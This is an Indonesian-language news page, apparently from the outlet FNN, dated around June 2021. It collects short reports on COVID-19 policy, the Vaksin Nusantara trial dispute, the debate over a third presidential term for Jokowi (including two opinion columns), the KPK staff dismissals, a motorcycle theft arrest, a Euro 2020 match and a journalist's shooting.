Bandarlampung, FNN - Kepala Lembaga Pemasyarakatan (Lapas) Rajabasa, Bandarlampung Maizar meminta kepada seluruh pegawai jajarannya agar dapat bekerja secara maksimal dalam mencegah penyebaran COVID-19 serta peredaran narkotika. "Saya berpesan kepada seluruh pegawai untuk bekerja secara maksimal dan penuh dengan komitmen serta integritas yang tinggi," kata Maizar dalam rapat penguatan tugas dan fungsi kepada seluruh petugas, di Bandarlampung, Minggu. Dia melanjutkan penegasan untuk bekerja secara maksimal dan komitmen selain melakukan pencegahan, juga dalam rangka mewujudkan zona integritas Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM). Menurutnya, seluruh pegawai lapas adalah petugas pengamanan, untuk itu selalu berkomitmen serta selalu waspada terhadap peredaran gelap narkotika khususnya yang bertugas memeriksa setiap penerimaan makanan dan barang titipan. "Tidak lupa juga kita selalu memberikan pelayanan yang terbaik dan melaksanakan razia secara rutin dan dadakan di blok hunian untuk mencegah peredaran gelap narkotika di lapas," kata dia pula. Maizar menambahkan dirinya mengapresiasi kepada seluruh petugas khususnya petugas medis lapas yang telah berperan aktif dalam penanggulangan dan menekan penyebaran COVID-19 di lapas ini. "Meskipun telah menurun, namun kita semua tetap waspada dan selalu mematuhi protokol kesehatan yang berlaku. Hal itu adalah cara kita semua untuk menekan penularan COVID19," katanya lagi. (sws)

Polres Bulungan Tangkap Pelajar Asal Malinau Curi Empat Sepeda Motor

Tarakan, FNN - Satuan Reserse dan Kriminal Polres Bulungan, Kalimantan Utara menangkap seorang pelajar berinisial C (16) asal Malinau yang sudah empat kali mencuri sepeda motor. "Berdasarkan hasil interogasi tersangka C mengaku bahwa dia sudah melakukan pencurian sepeda motor sebanyak empat kali," kata Kapolres Bulungan AKBP Teguh Triwantoro diwakili Kasat Reskrim Iptu Khomaini, di Tanjung Selor, Senin. Pelajar itu ditangkap di Malinau Seberang, Jumat (18/6). Pencurian sepeda motor yang dilakukan tersangka C, dengan dua kasus motor yang dicuri di Malinau dijual ke Bulungan. Kemudian dua kasus lagi dilakukan di Bulungan "Dalam melakukan aksinya, tersangka C dibantu oleh rekannya berinisial R yang saat ini masih dalam pengejaran," kata Khomaini. Kasus pencurian sepeda motor yang dilakukan tersangka C, setelah adanya laporan atas nama Melati warga Tanjung Selor pada Kamis (17/6) yang melaporkan tindak pidana pencurian sepeda motor Yamaha Mio warna hitam dengan nomor polisi KU 6828 AC yang terjadi di rumah kontrakan Jalan Padaelo, Tanjung Selor Hilir, Tanjung Selor sekitar pukul 04.00 WITA. Sepeda motor milik pelapor diparkir di halaman rumah kontrakannya, kemudian pada Kamis (17/6) pukul 05.30 WITA saat Melati akan pergi ke pasar mendapati motornya sudah tidak ada. Atas kejadian tersebut pelapor mengalami kerugian sekitar Rp15.000.000. Kemudian pelapor kedua atas nama Mulyadi yang melaporkan pada Jumat (18/6) atas pencurian motor jenis Yamaha Mio dengan nomor polisi KU 5715 AA di garasi rumahnya, di Jalan Sabanar Lama, Tanjung Selor pada Kamis (17/6) yang diketahui saat pelapor hendak Shalat Subuh pada pukul 04.30 WITA. Atas kejadian tersebut pelapor mengalami kerugian sekitar Rp8.000.000. Adapun pasal yang dipersangkakan kepada pelaku yakni Pasal 363 ayat 1 ke 3 dan ke 4 KUHP dengan ancaman hukuman 9 tahun penjara "Masyarakat juga diimbau, agar menyimpan sepeda motornya di dalam rumah dan mengunci kendaraannya dengan kunci ganda," katanya pula. (sws)

Siti Fadillah Minta Presiden Jokowi Punya Political Will atas Vaksin Nusantara

Jakarta, FNN - Uji klinis fase 2 denditrik sel Vaksin Nusantara karya dr. Terawan Agus Putranto telah selesai, dengan. hasil tanpa efek yang berbahaya. Untuk itu mantan Menteri Kesehatan Siti Fadilah meminta political will Presiden Jokowi untuk mengijinkan uji klinis berlanjut segera ke tahap fase 3. Hal ini disampaikannya kepada pers Minggu (20/6) karena Vaksin Nusantara sangat ditunggu oleh rakyat Indonesia bahkan masyarakat Internasional. "Sekarang tinggal tunggu political will Presiden Jokowi. BPOM sudah lepas tangan, katanya kewenangan sudah dialihkan ke Menkes untuk mengijinkan kelanjutan uji klinis fase 3," jelas Siti Fadilah dalam rilis yang diterima FNN, Senin (21/06). Siti Fadilah menyampaikan bahwa vaksin nusantara dibutuhkan untuk menghadapi mutasi covid-19 yang menjadi berbagai varian tersebar di beberapa belahan dunia dan masuk Indonesia. "Vaksin nusantara diharapkan menjadi jawaban atas kegagalan berbagai vaksin yang sudah dipakai. Kita tidak boleh menyerah. Masih ada harapan pada vaksin nusantara," jelasnya. Siti Fadilah mengapresiasi penjelasan dr. Terawan sejelas-jelasnya di DPR-RI beberapa waktu lalu sehingga memberikan harapan pada masyarakat. "Dukungan DPR-RI pada Terawan sangat penting bagi kelanjutan penyelamatan bangsa ini dan seluruh umat manusia. Kita pasti bangga jalan keluar bagi pandemi berasal dari Indonesia," tegasnya. Curahan Hati Terawan Sebelumnya, Vaksin Nusantara besutan Terawan Agus Putranto mendapat hadangan keras dari Badan Pengawas Obat dan Makanan (BPOM) yang berusaha.menghentikan kelanjutan pengembangan vaksin sel dendritik pertama di Indonesia itu. Terawan mencurahkan isi hatinya di hadapan anggota Komisi VII DPR RI dalam rapat dengar pendapat, kemarin (16/6/2021). Di keterangannya, dia begitu sedih sekaligus bingung mengapa vaksin Nusantara yang diklaim aman sangat sulit mendapatkan izin penelitian babak akhir yaitu uji klinis fase 3. "Mempersoalkan ini etik ini tidak etik, aduh, kita sudah kenyang riset. Cuma kita mohon kalau bisa, masa sih ada kendala untuk uji klinis fase 3 aja harus tidak boleh. Itu yang menurut saya agak melukai hati," curhat Terawan di ruang rapat. Ia pun bersikukuh, meski ada batu sandungan yang begitu besar , tetap akan melakukan uji klinis fase 3 di Indonesia. Sebab, menurut Terawan, ini tinggal selangkah lagi Indonesia dapat memiliki vaksin buatan sendiri. "Dan saya juga ingin tetap bertahan (uji klinis fase 3 vaksin Nusantara) bisa dikerjakan di Indonesia tidak dipindahkan ke negara lain, karena sangat simple cara membuatnya, masa di negara lain tidak bisa. Sangat simpel akan bisa dibuatnya," tambah Terawan. Di kesempatan itu, Terawan sekali lagi meminta dukungan dari Komisi 7 DPR RI agar mau memberi izin pelaksanaan uji klinis fase 3 vaksin Nusantara. Menurut dia, apa yang dikerjakan timnya sejauh ini adalah bentuk dedikasi untuk bangsa dan menjadi bagian dari menyelesaikan pandemi Covid-19 di Indonesia. "Yang saya inginkan hanya satu, cita-cita saya, bolehlah melalui rapat dengar pendapat kali ini di Komisi 7, bisa mencetuskan mendorong untuk tidak menghalangi (uji klinis fase 3 vaksin Nusantara). Itu saja yang saya inginkan," kata Terawan. "Sehingga legalisasi untuk kami melakukan ... uji klinis fase 3 itu legal. Siapa pun kalau yang namanya riset itu, kalau pada manusia namanya klinis dan itu bisa dikerjakan kapan saja. Cuma begitu ada peraturan itu (penghentian dari 3 pemerintah) saya harus taat, saya harus betul-betul tunduk, karena itu aturan negara. Cuma, ya, agak menggelitik di hati saya dari sanubari saya (vaksin Nusantara tidak diberi izin lanjut ke uji klinis fase 3)," tambahnya. (*)

Demokrat Meradang, Indonesia Bukan Hanya Jokowi dan Prabowo

Jakarta, FNN - Kepala Badan Komunikasi Strategis DPP Partai Demokrat, Herzaky Mahendra Putra, menanggapi kemunculan Komunitas Jokowi-Prabowo (Jokpro) 2024. Menurutnya Indonesia bukan hanya Jokowi dan Prabowo semata. "Seakan-akan tanpa Jokowi dan Prabowo, Indonesia tidak akan bisa maju dan menjadi lebih baik," kata Herzaky dalam keterangan tertulisnya kepada Republika.co.id, Sabtu (19/6). Herzaky mengatakan, kenyataannya sejak 2014 lalu, kontestasi antarkeduanya malah membelah masyarakat. Polarisasi yang terjadi justru meninggalkan luka mendalam di masyarakat. Kalau kemudian kita menyerahkan nasib Indonesia kembali kepada keduanya, seakan-akan Indonesia ini berhenti bergerak dan tidak ada kemajuan sejak 2014," ujarnya. Menurutnya Indonesia banyak memiliki calon pemimpin terbaik dalam beberapa tahun terakhir. Dari jajaran kepala daerah ada Gubernur DKI Jakarta Anies Baswedan, Gubernur Jawa Barat Ridwan Kamil, Gubernur PDIP Ganjar Pranowo. Sementara dari deretan pemimpin partai ada Ketua Umum Partai Golkar Airlangga Hartarto, Ketua Umum PKB Muhaimin Iskandar, Ketua Umum PDIP Puan Maharani, dan Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY). Dari deretan pemimpin partai politik, misalnya. Berbagai survei juga telah mengkonfirmasi keinginan rakyat Indonesia mendapatkan pemimpin baru di 2024 dan menolak keras wacana tiga periode," ucapnya. Herzaky menambahkan, Presiden Joko Widodo berulang kali telah menolak adanya rencana tiga periode. Dirinya meyakini bahwa penolakan tersebut bukan basa-basi apalagi lip service belaka. "Tentunya Bapak Presiden Joko Widodo ingin dikenang sebagai pemimpin demokratis laiknya Presiden RI ke-6 Bapak SBY begitu selesai masa jabatannya. Bukan presiden yang membawa Indonesia kembali ke masa kelam seperti di Orde Baru, saat belum ada pembatasan masa jabatan presiden maksimal dua periode. Janganlah buat Indonesia mundur puluhan tahun dengan memaksakan rencana presiden tiga periode," jelasnya. Ia menyarankan agar sebaiknya Komunitas Jokpro 2024 membentuk relawan melawan covid-19 dan membantu rakyat yang sedang susah karena krisis kesehatan dan krisis ekonomi saat ini. Dengan demikian Jokpro diharapkan bisa membantu pekerjaan Presiden Jokowi saat ini. (we, ant)

Musnahkan Mimpi Jokowi Tiga Periode

Jokowi sebenarnya berada di ujung tanduk ketika Banteng tunggangannya pergi. Jokowi yang duduk di atas tanduk dapat jatuh sekurangnya pada tahun 2024. Namun, jika menyelamatkan diri dengan cara berjuang untuk tiga periode, maka hal itu berisiko jatuh dari tanduk dengan lebih cepat. Oleh M. Rizal Fadillah UPAYA menyandingkan Joko Widodo dengan Prabowo Subianto pada Pemilihan Umum Presiden (Pilpres) 2024 yang bermakna Jokowi akan menjabat tiga periode adalah mengada-ada dan hanya sebuah mimpi. Masalahnya, konstitusi hasil amandemen yang mencerminkan produk reformasi, jelas membatasi masa jabatan presiden hanya dua periode. Pasal 7 UUD 1945 menyatakan "...dan sesudahnya dapat dipilih kembali dalam jabatan yang sama untuk satu kali masa jabatan." Komunitas Jokowi Prabowo (Jokpro) 2024 pimpinan Qadari adalah lembaga serius yang dibuat untuk menggolkan Jokowi agar bisa menjabat tiga periode. Ada kalangan yang tegas menyatakan Qadari telah menentang aturan konstitusi, bukan lagi sekedar berwacana. Oleh karena itu, muncul tagar #tangkapqadari. Mengingat Jokowi belum bersikap terhadap manuver atau ulah Qadari itu, maka upaya Jokpro dianggap masih menggantung. Hanya saja diamnya Jokowi dapat menimbulkan multi interpretasi dan layak dicurigai. Tiga periode meski dapat dipaksakan, tetapi masih dinilai hanya mimpi atau halusinasi, karena beberapa hal. Pertama, melawan arus reformasi dan usaha kembali ke sistem politik orde lama dan orde baru. Keduanya membawa Soekarno dan Soeharto menjabat untuk waktu yang tidak terbatas. Soekarno dan Soeharto akhirnya jatuh akibat nafsu ingin terus berkuasa. Kedua, rakyat merasa terkhianati dan sulit menerima penambahan masa jabatan tiga periode. Gerakan perlawanan yang sangat kuat akan membawa kegoncangan politik. Sulit ditoleransi pemerintahan otoriter yang terus-menerus menggerus hak-hak politik rakyat. Ketiga, berbeda dengan Soekarno dan Soeharto yang berjasa besar bagi pendirian dan pembangunan bangsa, Jokowi adalah presiden minim prestasi, bahkan beberapa kalangan menilai gagal. Hutang luar negeri yang besar dipastikan akan membebani pemerintahan baru maupun rakyat. Keempat, partai-partai politik yang ada sudah mulai menggulirkan calon presiden/calon wakil presiden (capres/cawapres) 2024 di luar Jokowi. Tidak mudah membawa partai politik ke ruang amandemen ke-5 UUD 1945, khususnya pasal 7 yang bertentangan dengan aspirasi rakyat. Jokowi cenderung semakin ditinggalkan. Kelima, Jokowi sejak awal telah menyatakan penolakan untuk menjabat tiga periode. Bahkan, dengan nada keras mengecam dan menyatakan dukungan itu sebagai "menampar muka", "mencari muka", dan "menjerumuskan." Jika pada akhirnya menjilat ludah sendiri atau makan omongan sendiri, maka predikatnya adalah munafik. Keenam, oligarkhi yang berkepentingan tiga periode akan berpikir ulang jika penentangan dari rakyat cukup besar. Kepercayaan rakyat kepada Jokowi terus merosot akibat kasus korupsi, pelanggaran Hak Azasi Manusia (HAM), serta kondisi ekonomi yang semakin morat-marit. Ketujuh, pemasangan Prabowo sebagai cawapres hanya "main-main" karena Prabowo tidak akan menerima status sebagai calon RI-2. Prabowo telah dua kali maju sebagai capres. Oleh karena itu, tidak rasional dan sangat bodoh jika ia mau menerima sebagai cawapres. Karena tiga periode hanya sebagai mimpi atau halusinasi, Jokowi tidak cukup hanya menyatakan menolak untuk menjabat tiga periode, tetapi harus meminta agar komunitas Jokpro 2024 pimpinan Qadari segera membubarkan diri. Jokowi di ujung tanduk Jokowi sebenarnya berada di ujung tanduk ketika Banteng tunggangannya pergi. Jokowi yang duduk di atas tanduk dapat jatuh sekurangnya pada tahun 2024. Namun, jika menyelamatkan diri dengan cara berjuang untuk tiga periode, maka hal itu berisiko jatuh dari tanduk dengan lebih cepat. Tiga periode adalah inkonstitusional dan bertentangan dengan aspirasi rakyat. Tiga periode mengebiri partai politik dan menambah tumpukan dosa rezim. Tiga periode adalah mimpi dan halusinasi sekaligus idiotisasi dalam berbangsa dan bernegara. Mimpi dan halusinasi itu harus segera diberangus dan dimusnahkan. Penulis adalah Pemerhati Politik dan Kebangsaan

Putri Gus Dur Desak Jokowi Batalkan Pemecatan 51 Pegawai KPK

Jakarta, FNN -- Public Virtue Research Institute (PVRI) mendesak Presiden Jokowi) membatalkan pemecatan terhadap 51 pegawai Komisi Pemberantasan Korupsi (KPK) yang dinyatakan tak lulus tes wawasan kebangsaan (TWK) alih status menjadi aparatur sipil negara (ASN). Deputi Direktur PVRI Anita Wahid mengatakan keputusan membuang 51 pegawai KPK yang disebut sudah tak bisa dibina itu akan menumpulkan lembaga antirasuah dan pemberantasan korupsi. "Akibatnya kekuasaan pusat maupun daerah semakin sulit dikontrol. Kami mendesak Presiden Jokowi untuk membatalkan keputusan tersebut," kata Anita dalam keterangan resmi, Minggu (20/6). "Presiden harus memastikan bahwa tidak ada pelanggaran hak-hak pegawai KPK dalam proses TWK," ujar anak Presiden ke-4 RI Abdurrahman Wahid alias Gus Dur. Tiga lembaga internasional seperti Transparency International, Greenpeace, dan Amnesty International bahkan menyurati Jokowi karena menilai pemberhentian ini tidak memiliki dasar hukum, menyalahi asas-asas good governance, dan merupakan diskriminasi sistematis, serta melanggar hak-hak asasi khususnya hak para pekerja.Sebelumnya, 75 pegawai KPK dinyatakan tak lulus TWK alih status menjadi ASN dan dinonaktifkan. Sebanyak 51 pegawai KPK dianggap 'merah' dan tak boleh bergabung lagi dengan KPK. Keputusan ini dikritik sejumlah pakar, guru besar, hingga aktivis antikorupsi. Tak sedikit pula yang menilai langkah pemecatan ini adalah episode baru dari rangkaian pelemahan KPK, terutama saat korupsi marak terjadi di berbagai sektor dan daerah. Sejauh ini, KPK telah menyiapkan pendidikan dan pelatihan bela negara kepada 24 pegawai KPK yang dinilai masih bisa dibina untuk menjadi ASN. Pelaksanaan pendidikan ini akan dimulai pada Juli 2021. (CNN,ant)

Raja Jogja Wacanakan Lockdown Total

Yogyakarta, FNN - Gubernur Daerah Istimewa Yogyakarta Sri Sultan Hamengku Buwono X menyebutkan penularan COVID-19 sulit dikendalikan apabila masyarakat menganggap enteng dan tidak kooperatif mendukung kebijakan pemerintah. "Karena ini semua tergantung dari kita sendiri-sendiri, kita bisanya hanya mengambil kebijakan, berbuat sesuatu mengkonsolidasikan kesehatan masyarakat. Kalau masyarakat menganggap enteng, ya kita juga kesulitaN menindaklanjuti penularan," kata Sri Sultan dalam Rapat Terbatas (Ratas) Penanganan COVID-19 secara daring dari Gedhong Pracimasana, Kepatihan, Yogyakarta, Minggu. Raja Keraton Yogyakarta ini kembali meminta masyarakat menjadi subjek yang turut meminimalisir penyebaran COVID-19 di DIY. Hal tersebut disampaikan mengingat tingginya penambahan kasus positif COVID-19 di DIY selama sepekan terakhir. Penambahan kasus positif di DIY mengalami puncaknya pada Minggu (20/6) yakni sebesar 665 kasus. Angka ini merupakan angka tertinggi penambahan kasus selama pandemi COVID-19 terjadi di DIY. Di samping itu, RT yang berada di zonasi merah mencapai 19 RT dan yang berada di zonasi oranye mencapai 61 RT. Penambahan kasus itu turut berdampak pada tingkat keterisian tempat tidur atau bed occupancy rate (BOR) baik isolasi maupun ICU di RS Rujukan COVID-19 DIY. "Jadi, tadi juga sudah disampaikan oleh Menteri Kesehatan, updatenya, BOR itu 75 persen. Tapi dari kondisi tadi pagi, itu berubah. Setelah perkembangan kita ada di angka 65,44 persen," ujar Sultan. Ia mengatakan kondisi jumlah tempat tidur, yang tadinya 941, saat ini telah bertambah menjadi 1.224 unit. "Sudah tambah 30 persen bed yang ada khusus untuk COVID. Khususnya di RSUP Sardjito dan Hardjolukito. Ada satu yang belum aktif, sekarang kita aktifkan," kata Sri Sultan Ia kembali menekankan kepada warga DIY agar melaksanakan Instruksi Gubernur (Ingub) DIY Nomor 15/INSTR/2021 tentang Perpanjangan PPKM Berbasis Mikro yang dikeluarkan tanggal 15 Juni 2021 dengan semakin memperketat mobilitas. "Semakin mengetati mobilitas masyarakat di setiap kelurahan, masyarakat sadar untuk menjaga dirinya sendiri dan itu otomatis akan bermanfaat bagi orang lain. Tanpa kesadaran seperti itu, kita tidak akan bisa menurunkan, ya fluktuatif begini terus," ujar Sri Sultan. Di samping itu, kenaikan jumlah kasus positif COVID-19 tak hanya terjadi di DIY saja, melainkan juga di provinsi-provinsi lain di Indonesia. "Sebagian besar (naik), kira-kira 30 provinsi yang naik, semuanya naik. Bagaimana kita mencoba masing-masing daerah memperketat kondisi yang ada," kata Sri Sultan. Sri Sultan juga mengatakan bahwa nantinya per tanggal 22 Juni 2021, pemerintah pusat akan mengeluarkan peraturan atau kebijakan baru guna menekan laju penambahan kasus positif di 30 provinsi tersebut. "Mungkin tanggal 22 (Juni) ada kebijakan tambahan atau lain tapi saya belum tahu perubahan itu apa dan bagaimana. Tapi saya kira, (peraturan) itu tetap dalam keseimbangan antara ekonomi dengan pembatasan yang ada, saya kira larinya ke sana, tapi bentuknya seperti apa belum tahu," kata Sri Sultan. Sebelumnya, Gubernur DIY mewacanakan menerapkan "lockdown" total apabila PPKM Mikro yang kembali diperpanjang hingga 28 Juni 2021 kembali gagal menekan lonjakan kasus. Sekretaris Daerah (Sekda) DIY Kadarmanta Baskara Aji menegaskan peraturan yang dibuat Pemda DIY sejatinya membutuhkan kerja sama berbagai pihak. "Ngarsa Dalem (Sultan HB X) sudah menekankan bahwa masyarakat harus jadi subjek, masyarakat jangan tidak ada usaha untuk mengingatkan orang lain, tonggo teparo (tetangga), untuk menaati protokol kesehatan," kata dia. Aji berharap peraturan yang telah dibuat Pemda DIY dapat ditaati dengan baik. Selama ini operasional mal serta pusat perbelanjaan lainnya telan dibatasi hingga pukul 21.00 WIB, sementara untuk zona merah sampai pukul 20.00 WIB. "Rumah makan, tempat wisata, itu maksimal (pengunjung) 50 persen ya 50 persen. Jadi jangan hanya menunggu sampai Satpol PP sampai ngoyak-oyak (mengejar-ngejar), kita harus saling menjaga," ujar Aji. (sws)

Korban Covid Berjatuhan, Jokowi Belum Putuskan Lockdown

Jakarta, FNN - Ketua Bidang Komunikasi Publik Satuan Tugas (Satgas) COVID-19 Hery Trianto menjelaskan alasan pemerintah hingga saat ini tidak mengambil kebijakan penerapan "lockdown" atau karantina wilayah. Hery Trianto dalam keterangannya di Jakarta, Minggu, menjelaskan bahwa substansi pemberlakuan pembatasan kegiatan masyarakat (PPKM) berbasis mikro sebagai kebijakan untuk mencegah penyebaran COVID-19 yang berjalan selama ini sama dengan "lockdown". "Jadi jangan dibenturkan antara kebijakan lockdown dengan pembatasan kegiatan masyarakat. Substansinya sama, membatasi mobilitas masyarakat untuk menekan laju penularan," kata Hery. Pemerintah memperpanjang PPKM mikro, 15-28 Juni 2021. PPKM mikro menggunakan acuan beleid Instruksi Menteri Dalam Negeri Nomor 13 Tahun 2021. Aturan itu menjelaskan pembatasan kegiatan masyarakat berbasis mikro dan mengoptimalkan posko penanganan COVID-19 di desa dan kelurahan untuk pengendalian penyebaran COVID-19. PPKM mikro membatasi kegiatan di tempat kerja/perkantoran, pelaksanaan kegiatan belajar mengajar, mengatur pemberlakuan pembatasan kegiatan restoran dan pusat perbelanjaan, mengatur kegiatan di tempat ibadah, kegiatan fasilitas umum, serta kegiatan seni, sosial dan budaya. Hery mengatakan petugas di lapangan memperketat pelaksanaan PPKM mikro melalui operasi yustisi yang melibatkan TNI dan Polri. Petugas di lapangan memantau kegiatan dan menertibkan masyarakat yang tidak mematuhi protokol kesehatan. "Tujuannya untuk mengurangi mobilitas agar masyarakat lebih banyak di rumah. Karena faktor penularannya manusia. Jadi, kalau aktivitas manusianya dikurangi, akan menekan penularan," kata dia. Hery menegaskan, PPKM mikro sebenarnya cukup efektif menekan laju penularan COVID-19. Belakangan, kasus positif meningkat karena beberapa hal. Seperti, masyarakat tidak mematuhi larangan bepergian, larangan mudik lebaran. Menurut Hery, pemerintah sudah berupaya agar masyarakat tidak bepergian dan mudik, tapi ternyata banyak yang tidak mengikuti imbauan pemerintah. "Kasus di Kudus, kita tahu di sana ada ziarah setelah Lebaran di Sunan Muria dan Sunan Kudus, kemudian itu dianggap salah satu yang memicu penularan. Di Bangkalan juga sama, setelah Lebaran masyarakat punya tradisi berkumpul. Ketika berkumpul terjadi interaksi, terjadi risiko penularan," kata Hery. Penyebab lainnya lanjut dia adalah varian baru COVID-19 yang diduga turut mempercepat penularan. Dengan PPKM mikro menurut Hery kebijakan mitigasi risiko hingga tingkat RT/RW semakin mudah. Hingga saat ini ada puluhan ribu desa yang membentuk posko. Posko aktif melaporkan perkembangan kondisi di daerah masing-masing. Efektivitas kebijakan PPKM mikro sudah terlihat sampai pertengahan Mei. "Sehingga kita dapat data yang lebih valid tentang apa sebenarnya yang terjadi di berbagai daerah. Ketika kita bisa memetakan zona risiko hingga ke RT/RW, tentu saja itu akan semakin baik, kita semakin presisi," katanya. Selain itu, Hery mengatakan, kebijakan mikro lockdown juga sudah diterapkan beberapa daerah. Misal, satu RT melakukan mikro lockdown karena ada lima keluarga yang terpapar COVID-19. "Ini terjadi di beberapa daerah. Mikro lockdown sudah dilakukan sebenarnya, tapi skalanya mikro," ujar Hery. (sws)

Italia Libas Wales 1-0, Tapi Keduanya Lolos 16 Besar

Roma, FNN - Tim nasional Italia menundukkan Wales 1-0 dalam laga penutup Grup A Euro 2020 di Stadion Olimpico, Roma, Italia, Minggu waktu setempat (Senin WIB), tetapi keduanya memastikan lolos ke babak 16 besar. Gol tunggal Matteo Pessina menjadi pembeda antara Italia atas Wales yang harus menuntaskan laga dengan 10 pemain lantaran Ethan Ampadu menerima kartu merah pada menit ke-55. Italia lolos ke babak 16 besar sebagai juara Grup A didampingi Wales sebagai runner-up berbekal keunggulan selisih gol atas Swiss. Hal itu tidak lepas dari hasil di Baku, Azerbaijan, di mana Swiss "hanya" meraih kemenangan 3-1 atas Turki, demikian catatan laman resmi UEFA. Kendati terus menekan, Italia tak kunjung mampu menciptakan peluang berbahaya yang mengancam gawang Wales hingga nyaris 40 menit sejak sepak mula. Keadaan berubah ketika Italia memperoleh situasi tendangan bebas di sayap kiri dan umpan Marco Verratti bisa dikonversi oleh Pessina demi memecahkan kebuntuan dan membawa Gli Azzurri memimpin atas Wales pada menit ke-39. Pessina, yang masuk skuad akhir Italia menggantikan Stefano Seni yang cedera, mencetak gol debutnya di turnamen bergengsi dengan pergerakan cermat menyontek umpan tendangan bebas Verratti yang cukup untuk memperdaya kiper Danny Ward. Gol tersebut menyuntik kepercayaan diri para pemain Italia tetapi keunggulan 1-0 tak berubah hingga peluit turun minum. Delapan menit memasuki babak kedua Italia nyaris menggandakan keunggulan mereka saat Federico Bernardechi melepaskan eksekusi tendangan bebas yang keras, sayang bola masih membentur tiang gawang. Tugas Wales untuk bangkit kian dipersulit ketika Ampadu menerima kartu merah langsung dari wasit Ovidiu Hategan pada menit ke-55. Ampadu tampak terlihat telat menjegal Bernardeschi di hadapan Hategan, pelanggaran yang sebetulnya lebih pas hanya menjadi kartu kuning, Namun wasit atas Rumania itu berpendapat lain dan segera memberi kartu merah, membuatnya jadi satu-satunya wasit yang mengeluarkan kartu merah di sepanjang Euro 2020, setelah ia juga mengkartu merah gelandang Polandia Grzegorz Krychowiak. Situasi 11 lawan 10 jelas memberi keleluasaan bagi Roberto Mancini untuk melakukan banyak pergantian dan memberi kesempatan debut Euro 2020 bagi pemain seperti Giacomo Raspadori, Gaetano Castrovilli bahkan kiper Salvatore Sirigu. Di babak 16 besar Italia akan menunggu runner-up Grup C yakni antara Ukraina atau Austria. Sedangkan Wales bakal bertemu runner-up Grup B yang masih bisa diperebutkan keempat tim grup tersebut yakni Belgia, Rusia, Finlandia atau Denmark. (sws)

Jokowi Tiga Periode, Lu Lagi Lu Lagi

Oleh Prof. Daniel Mohammad Rosyid Semarang, FNN - Beberapa hari terakhir ini muncul wacana Jokowi 3 periode. Sekalipun, seperti dulu, Jokowi menampik untuk mengakui keinginannya, tapi ada sekelompok orang yang menamakan diri Jokpro yang mulai mempromosikan Jokowi untuk nyapres lagi pada Pemilu 2024 nanti. Bahkan kelompok lain yang menamakan diri sebagai Joman telah menuding bahwa Jokpro adalah kumpulan para Brutus. Publik dibingungkan oleh wacana yang seolah kontradiktif, tapi sebenarnya saling mendukung Jokowi 3 periode. Padahal Pilpres masih tiga tahun lagi. Saat sebagian kaum demokrat yang masih waras mempersoalkan presidential threshold 20%, wacana Jokowi 3 periode ini muncul sebagai konfirmasi atas agenda inkonstitusional itu. Jadi hambatannya cuma pada pasal 7 UUD2002. Harus ada amandemen terbatas untuk membuka peluang bagi jabatan presiden 3 periode. Lalu 4, 5 periode dst. Mungkin sebagian pendukung fanatik Jokowi balas dendam pada pendukung fanatik Soeharto. Bagi true leaders, wacana ini jelas menunjukkan krisis kepemimpinan nasional. Seolah tidak ada capres lain selain Lu Lagi Lu Lagi. Krisis itu adalah tanggungjawab Jokowi sendiri yang sebagai pemimpin tertinggi justru gagal melakukan kaderisasi. Yang muncul adalah para dealers, not leaders. Padahal kaderisasi adalah tugas pokok para pemimpin. Artinya, sebagai pemimpin tertinggi, Jokowi telah mengaku semua kredit baginya sendiri sehingga presiden berikutnya tidak bisa selain dirinya. Pada saat yang sama Jokowi dan para pemujanya mungkin lupa adagium Lord Acton: power tends to corrupt and absolute power corrupts absolutely. Presiden adalah jabatan sangat powerful. Terlalu lama menjabatnya mengundang resiko penyalahgunaan kekuasaan. Adagium yang lain adalah bahwa jangankan di sekitar Julius Caesar ada Brutus yang berkepentingan agar Sang Kaisar tetap berkuasa sambil mengintai kesempatan untuk menikamnya dari belakang. Apalagi di sekitar Nero. Prinsip Republik yang diamanatkan Pembukaan UUD,1945 sesungguhnya adalah sebuah platform agar pergantian kekuasaan bisa terjadi sebagai peristiwa yang wajar. Oleh karena itu Republik dapat bertahan dalam masyarakat yang egaliter dan meritokratik. Dalam masyarakat feodal, presiden nyaris hampir seperti raja yang boleh menjadi raja seumur hidup. Penggantinya adalah anaknya sendiri. Kecenderungan yang dibawa oleh wacana Presiden 3 periode itu adalah kemunduran prinsip Republik. Ingat pesan Marcus Aurelius pada Maximus Decimus Sang Gladiator : apakah Roma bisa menjadi Republik kembali? Sejak amandemen ugal-ugalan yang melahirkan UUD 2002, sederetan maladministrasi publik makin menjadi-jadi : hukum dibuat dan ditafsirkan bukan untuk kepentingan publik, tapi untuk kepentingan elite politik. Republik hanya bisa tumbuh oleh administrasi publik yang piawai melayani publik. Kali ini amandemen parsial atas pasal 7 itu bukan saja maladministrasi publik, tapi bakal menjadi malapetaka bagi Republik.

Anggota DPR Minta Polri Transparan Ungkap Kasus Penembakan Jurnalis

Jakarta, FNN - Anggota Komisi III DPR RI Andi Rio Idris Padjalangi meminta Polri segera mengungkap secara transparan motif pelaku penembakan terhadap salah satu jurnalis di Sumatera Utara yaitu Mara Salem Harahap. "Segera hentikan kekerasan dan ancaman teror kepada para jurnalis. Polri harus dapat segera menangkap pelaku dan membuka secara transparan motif pelaku ," kata Andi Rio di Jakarta, Minggu. Dia menjelaskan, pers merupakan salah satu pilar demokrasi, karena peran media sangat berkontribusi dalam mengawal proses demokrasi dalam membangun kemajuan bangsa dan negara. Karena itu menurut dia, pers jangan sampai diintimidasi bahkan dibinasakan karena mereka harus menyampaikan berita secara objektif kepada masyarakat. "Pers memiliki fungsi pengawasan terhadap jalannya demokrasi bangsa. Karena itu jangan sampai bangsa ini mengalami kemunduran, karena banyaknya ancaman atau tindak kekerasan kepada para insan pers dalam menjalankan tugas dan kewajibannya," ujarnya. Politisi Partai Golkar itu juga berharap agar seluruh elemen dan lapisan masyarakat untuk tidak berspekulasi serta bersabar dalam menunggu hasil keterangan resmi dari pihak kepolisian dalam menyelidiki kasus tersebut. Menurut dia, jangan sampai ada informasi liar yang berkembang yang tentunya dapat merugikan semua masyarakat sehingga lebih baik menunggu hasil penyelidikan dan penyidikan aparat kepolisian dalam mengungkap kasus tersebut. Sebelumnya, seorang jurnalis bernama Mara Salem Harahap (42) tewas karena diduga ditembak orang tak dikenal (OTK) tidak jauh dari rumahnya, di Desa Karang Anyar, Kecamatan Gunung Maligas, Kabupaten Simalungun, Sumatera Utara, Sabtu (19/6) dini hari. Korban diduga tewas setelah ditembak orang tidak dikenal saat dia berada di dalam mobilnya. (mth)

Pemkot Bogor Siap Laksanakan Vaksinasi kepada 5.000 Warga

